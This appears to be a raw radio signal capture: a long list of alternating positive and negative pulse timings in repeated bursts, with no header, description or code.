1791 -8144 1783 -2880 3443 -3018 3419 -3004 3403 -3002 3401 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -3002 3393 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1799 -1402 1801 -1400 3393 -3004 3401 -1396 1793 -2998 3403 -3002 3401 -1400 1797 -2990 3407 -1404 1795 -2992 3401 -3002 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 3397 -1402 1801 -3002 1799 -1398 3397 -1402 1799 -3004 1795 -1394 1797 -1400 4407 -3438 2423 -2508 3661 -2838 3421 -3020 3405 -3002 3401 -3002 3403 -3006 3397 -2994 3393 -3004 3401 -2994 3401 -3002 3403 -2994 3401 -3002 3399 -1400 1791 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -3002 3401 -1398 1791 -2998 3403 -1400 1795 -1398 1801 -3002 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 3407 -1400 1791 -2992 1801 -1400 3401 -1402 1801 -2994 1799 -1402 3401 -5710 183 -2022 2537 -1884 3815 -2610 3601 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2994 3405 -3006 3393 -2996 3393 -3002 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3407 -1400 1791 -2996 3405 -2994 3403 -1396 1791 -3000 3401 -1402 1795 -1394 1797 -1400 1801 -3002 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 3397 -1402 1799 -3008 1803 -1398 3395 -1404 1795 -2990 3403 -3002 3593 -4580 1655 -3024 3321 -2950 3563 -2974 3385 -2992 3397 -2998 3393 -3000 3397 -3002 3393 -2996 3401 -3006 3397 -2994 3403 -3002 3399 -3004 3399 -1400 1789 -1392 1797 -1402 1799 -1402 1799 -1402 1801 -3002 -RAW_Data: 1795 -1394 1791 -1398 1801 -1400 3403 -3002 3401 -1402 1799 -2994 3403 -2994 3401 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1795 -3000 1801 -1400 3401 -1402 1801 -2994 3401 -1400 1797 -7502 3329 -1154 3985 -2602 3601 -3008 3397 -2994 3393 -3002 3407 -2998 3393 -2998 3407 -2994 3401 -2994 3401 -2996 3401 -2994 3401 -2994 3403 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1400 3403 -3002 3401 -1402 1795 -2992 3401 -3002 3401 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1396 3389 -3004 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3403 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -1400 1801 -2994 1801 -1400 4395 -3776 14743 -2408 3811 -2802 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3401 -2996 3401 -3002 3401 -2994 3395 -3002 3393 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1398 3397 -3002 3407 -1404 1795 -2992 3407 -2996 3395 -1400 1795 -1398 1801 -3002 1801 -1396 3391 -3002 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 -RAW_Data: 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1398 3397 -1402 1799 -3002 1797 -1394 3397 -1402 1799 -1402 1799 -2996 3401 -3996 385 -3102 2063 -3036 3275 -3042 3425 -3020 3405 -3006 3411 -2996 3395 -3002 3393 -3002 3395 -3002 3393 -3002 3401 -3002 3395 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -3002 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3407 -1404 1595 -3194 3407 -2994 3393 -1402 1795 -1394 1797 -3002 1799 -1402 3401 -1398 1795 -3004 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -3002 1795 -1394 3391 -1400 1801 -1400 1801 -1400 1801 -3002 3603 -1478 645 -1724 2035 -3064 3173 -3182 3187 -3190 3393 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -2994 3407 -2998 3393 -3002 3393 -3002 3403 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1402 1795 -1394 3397 -3002 3403 -1400 1795 -3000 3401 -3002 3395 -1400 1801 -1396 1797 -3002 3407 -2998 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 3407 -1400 1791 -2992 1799 -1402 3401 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -8088 1731 -3044 3437 -3028 3261 -3072 3287 -3118 3295 -3118 3323 -3148 3167 -3180 3185 -3190 3395 -2994 3399 -3004 3393 -2996 3401 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1799 -1402 1801 -1396 3397 -2996 3401 -1400 1801 -3006 3403 -2998 3397 -1400 -RAW_Data: 1793 -1394 1795 -3004 3401 -3002 3393 -2994 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3393 -1402 1801 -3002 3393 -3002 1801 -1396 1797 -1402 1799 -1402 1795 -1398 3401 -4926 8515 -2468 3839 -2822 3413 -3010 3407 -3004 3403 -3002 3393 -3002 3393 -3004 3401 -2994 3393 -3002 3403 -3002 3401 -2994 3395 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1799 -2994 3403 -3002 3393 -1402 1799 -1398 1795 -3004 3401 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 3403 -1396 1791 -3000 3401 -3002 1801 -1400 1797 -1394 1795 -1402 3407 -8138 1617 -2850 3563 -2976 3385 -2990 3395 -2994 3401 -2994 3401 -2996 3401 -3002 3401 -2994 3403 -2994 3401 -2994 3407 -3006 3393 -2994 3407 -1400 1791 -1394 1797 -1400 1801 -1402 1799 -1398 1795 -3004 1799 -1402 1795 -1398 1801 -1400 3401 -2996 3401 -1400 1797 -2990 3403 -3002 3401 -1400 1801 -1398 1791 -2998 3403 -1400 1801 -1400 1801 -2994 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 -RAW_Data: 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 3401 -1402 1801 -3002 3397 -3006 1795 -1394 1793 -1398 3401 -3002 3601 -4378 1989 -2806 3493 -2902 3511 -2930 3349 -3166 3183 -3186 3389 -2994 3403 -2994 3407 -3004 3395 -2994 3393 -3002 3401 -3004 3393 -3002 3393 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -3002 1801 -1398 1795 -1402 1801 -1400 3393 -3002 3403 -1396 1793 -3002 3405 -2996 3405 -1400 1793 -1394 1795 -1402 1801 -3002 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3002 3401 -2994 1801 -1400 1801 -1402 3393 -1400 1801 -7422 9169 -1802 3795 -2600 3611 -3002 3401 -3006 3405 -2996 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3403 -2994 3401 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 3401 -2996 3401 -1396 1797 -3002 3403 -3002 3393 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 3401 -2994 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3393 -1402 1795 -3000 3401 -3002 1795 -1394 3399 -3002 1799 -1402 3801 -1286 649 -2066 2205 -3008 3427 -3012 3407 -3006 3393 -2994 3393 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -3002 1799 -1402 1801 -1396 1797 -1400 3403 -2994 3401 -1402 1795 -2998 3403 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -3002 3401 -3002 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1795 -1398 -RAW_Data: 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -3002 3393 -3002 1797 -1394 3397 -3002 3401 -7732 14869 -2460 3833 -2818 3409 -3004 3401 -3002 3401 -3002 3403 -3002 3405 -2998 3393 -3004 3393 -2994 3407 -3008 3199 -1596 1789 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1400 1801 -1398 3397 -3002 3401 -1398 1791 -3000 3401 -2994 3401 -1402 1801 -1400 1801 -1400 1795 -2992 3401 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3407 -1400 1791 -2992 3401 -3004 1799 -1402 3407 -1400 1789 -2988 3403 -3830 2193 -2986 3375 -2944 3501 -3050 3235 -3018 3409 -3002 3403 -3002 3401 -3002 3401 -3002 3395 -3002 3393 -3006 3207 -3194 3399 -3004 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3401 -1398 1795 -3002 3395 -3002 3393 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -3006 1601 -1592 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 3399 -1400 1801 -3002 3401 -2994 -RAW_Data: 1801 -1400 3403 -1400 1795 -1396 1795 -6110 417 -1290 1655 -3016 3535 -2958 3375 -2982 3187 -3194 3399 -2996 3395 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3407 -2996 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1402 1799 -2994 3407 -2998 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 3401 -2994 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 3395 -1400 1801 -2994 3401 -3002 3395 -3002 1799 -1398 1791 -1398 3603 -200 965 -3206 1811 -2896 3423 -3010 3405 -3006 3401 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -3002 3401 -2994 3403 -2994 3393 -3002 3407 -2998 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3403 -1396 1791 -3000 3401 -3002 3403 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1795 -2990 3403 -3002 3401 -3002 1801 -1396 3391 -7600 1899 -3004 3287 -3106 3315 -3134 3159 -3176 3185 -3190 3391 -2994 3393 -3002 3395 -3002 3401 -2994 3401 -3004 3393 -3002 3407 -2996 3395 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -3002 1795 -1398 1801 -1400 1801 -1402 3401 -2994 3401 -1402 1795 -3000 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 -RAW_Data: 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 3403 -1404 1795 -2992 3401 -3004 3393 -3002 3401 -2994 3403 -4206 2011 -3272 3159 -3176 3181 -3186 3195 -3190 3393 -3002 3395 -3002 3401 -2998 3405 -2996 3405 -2998 3393 -2994 3403 -2994 3401 -3006 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3002 3403 -1396 1797 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3407 -1404 1597 -3190 3401 -2994 3403 -3002 3393 -1402 1795 -7316 8443 -2572 3577 -2988 3393 -3002 3393 -3004 3393 -3006 3405 -2994 3395 -3002 3393 -3002 3395 -3002 3401 -3002 3393 -3006 3399 -1396 1793 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1402 3401 -2998 3397 -1398 1791 -3000 3401 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 3395 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1793 -1398 3401 -1400 1801 -3002 3401 -3004 3393 -1400 1801 -2994 1801 -1400 3603 -4490 1839 -2642 3731 -2746 3573 -2988 3389 -2990 3393 -3000 -RAW_Data: 3405 -2994 3393 -3002 3403 -2994 3401 -2994 3401 -2996 3401 -2994 3401 -3002 3403 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -3000 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -1402 1795 -3004 3405 -1396 